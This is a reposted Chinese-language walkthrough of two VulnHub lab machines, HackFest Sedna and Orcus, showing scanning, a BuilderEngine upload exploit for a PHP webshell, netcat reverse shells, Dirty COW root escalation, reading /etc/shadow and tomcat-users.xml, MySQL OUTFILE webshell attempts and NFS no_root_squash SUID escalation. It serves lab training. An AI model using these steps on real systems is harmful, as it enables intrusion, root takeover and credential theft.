hackfest靶机实战

admin 2022年4月6日10:23:44评论91 views字数 4614阅读15分22秒阅读模式

hackfest靶机实战

HackFest :Sedna


目标:这台机器的目的是为那些在使用Vulnhub做机器方面有经验的人提供帮助

这台机器上有4个标志,一个用于shell,一个用于root访问,两个用于在Sedna上进行后期开发


flag1


使用nmap 扫描端口信息
nmap -v -T5 -A  192.168.31.72


hackfest靶机实战


看到部分详细信息,我们尝试打开80。查看一下源码,里面就一张图片,并没有什么线索。
图上还有部分端口信息没有显示出来,还开放有8080端口

是一个tomcat页面
使用dirsearch-master扫描目录
python3 dirsearch.py -u http://192.168.31.72 -e *


hackfest靶机实战


根据目录扫描的结果,我们查看一下robots.txt。



User-Agent: *
Disallow: Hackers



我们访问一下Hackers 发现目录被限制访问

查看license.txt ,发现一些信息,其中Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems。BuilderEngine/Radian企业系统,这是一条线索。



The MIT License (MIT)

Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems
Limited.

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.通过google搜索BuilderEngine exp ,在exploit-db找到漏洞利用的脚本

https://www.exploit-db.com/exploits/40390


hackfest靶机实战


下载好的exp,我们修改一下action地址为靶机地址192.168.31.72
upload.html


<html>
<body>
<form method="post" action="http://192.168.31.72/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
        <input type="file" name="files[]" />
        <input type="submit" value="send" />
</form>
</body>
</html>


我们打开upload.html,上传一个php的shell
可以看到有个url:  http://192.168.31.72/files/t.php  这个就是shell的路径了


hackfest靶机实战

使用菜刀连接shell,打开命令行,搜索一下flag.txt
find -name 'flag.txt'

./var/www/flag.txt

查看flag.txt
cat /var/www/flag.txt

bfbb7e6e6e88d9ae66848b9aeac6b289

flag2


尝试提权,拿到第二个flag

查看系统名、节点名称、操作系统的发行版号、操作系统版本、运行系统的机器 ID 号

uname -a

Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC
2014 i686 i686 i686 GNU/Linux


查看系统安装时默认的发行版本信息
cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"



建议在提权之前做一次靶机的快照。


由于菜刀执行提权脚本时会阻塞,而且无法使用交互式的shell。这里我们切换成NC的shell

这里我们上传一个PHP脚本,并在kali用NC监听7777端口


hackfest靶机实战


我们访问http://192.168.219.139/files/testa.php   kali接收到

了靶机传来的shell

输入Id,看到目前的权限还只是www-data


hackfest靶机实战


提权脚本https://www.exploit-db.com/exploits/40616
我们上传到files目录下,执行命令,可以看到最后执行提升到了root权限。
gcc cowroot.c -o cowroot -pthread
./cowroot
id

hackfest靶机实战


我们切换到root目录下, 查看一下flag


hackfest靶机实战


flag3

找到tomcat的账户密码
cat etc/tomcat7/tomcat-users.xml


hackfest靶机实战


flag4


找到需要解密的hash
cat /etc/shadow


$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBq


hackfest靶机实战


HackFest :Orcus


目标:这台机器上有4个标志1.获得一个shell 2.获得root访问权限3.框上有一个帖子开发标志4.此框中有一些东西与此系列中的其他东西不同(Quaoar和Sedna)找到它的不同之处。


flag1


使用nmap扫描
nmap -v -T5 -A  192.168.31.119


hackfest靶机实战


使用dirsearch-master扫描目录
python3 dirsearch.py -u http://192.168.31.119 -e *


hackfest靶机实战


根据扫描到的结果,我们访问admin,打开后查看一下源码,发现一个hint
This is a backup taken from the backups/


hackfest靶机实战


提示说这是一个备份,访问backups
尝试把SimplePHPQuiz-Backupz.tar.gz下载下来


hackfest靶机实战


源码里面,包含了数据库配置的文件。
db_conn.php


//Set the database access information as constants
DEFINE ('DB_USER', 'dbuser');
DEFINE ('DB_PASSWORD', 'dbpassword');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'quizdb');


刚好有一个phpmyadmin,输入账号密码登陆。
构造写shell的sql语句


SELECT 'test' into OUTFILE 'var/www/html/test.txt';


hackfest靶机实战


查看了一下资料secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

我们查看一下限制的目录


SELECT @@secure_file_priv


hackfest靶机实战


尝试通过修改mysql日志文件存储路径写shell,没有权限修改。


set global general_log_file='/var/www/html/log.php';


hackfest靶机实战


那只能换一个思路了。
一般数据库名,也是系统的名称。尝试访问一下。
http://192.168.31.119/zenphoto
发现一个未安装的CMS,谷歌了一下,发现这个CMS有些漏洞可以尝试。


hackfest靶机实战


填写数据库配置,设置后台用户名、密码
登陆上去看一下
在plugin下有个elFinder插件,开启以后,我们就可以任意上传文件了


hackfest靶机实战

我们把t1.php拖进去上传。


hackfest靶机实战


shell的路径:http://192.168.31.119/zenphoto/uploaded/t1.php
我们在kali监听4444端口
nc -lvp 4444
访问shell路径


hackfest靶机实战


使用python弹shell
python -c 'import pty; pty.spawn("/bin/bash")'
查询web目录下,有没有存在flag.txt
find /var/www/ -name 'flag.txt'
查看flag.txt文件
cat /var/www/flag.txt


hackfest靶机实战


flag2


尝试一下提权操作。
之前扫描到2049的端口(NFS),类似于文件服务器,这个如果存在配置不当,可以提升ROOT权限。
参考:https://bbs.pediy.com/thread-222518.htm
查看一下NFS的挂载点
showmount -e localhost


hackfest靶机实战


在kali下创建一个目录用于挂载NFS,然后挂载到本地

sudo mkdir /mnt/orcus
sudo mount -t nfs 192.168.0.110:/tmp /mnt/orcus


hackfest靶机实战


在靶机执行:

cp /bin/bash wroot                 

在kali上执行:
chown root:root 文件 wroot 的拥有者设为 root群体的使用者 root
chmod u+s文件执行时把进程的属主或组ID置为该文件的文件属主


sudo su
chown root:root wroot
chmod u+s wroot


hackfest靶机实战


最后在靶机执行:
./wroot -p


hackfest靶机实战


这里使用NFS提权。造成root提权的原因是 no_root_squash这个参数
no_root_squash:登入NFS主机,使用该共享目录时相当于该目录的拥有者,如果是root的话,那么对于这个共享的目录来说,他就具

有root的权限。


hackfest靶机实战


本文始发于微信公众号(疯猫网络):hackfest靶机实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月6日10:23:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hackfest靶机实战http://cn-sec.com/archives/511886.html

发表评论

匿名网友 填写信息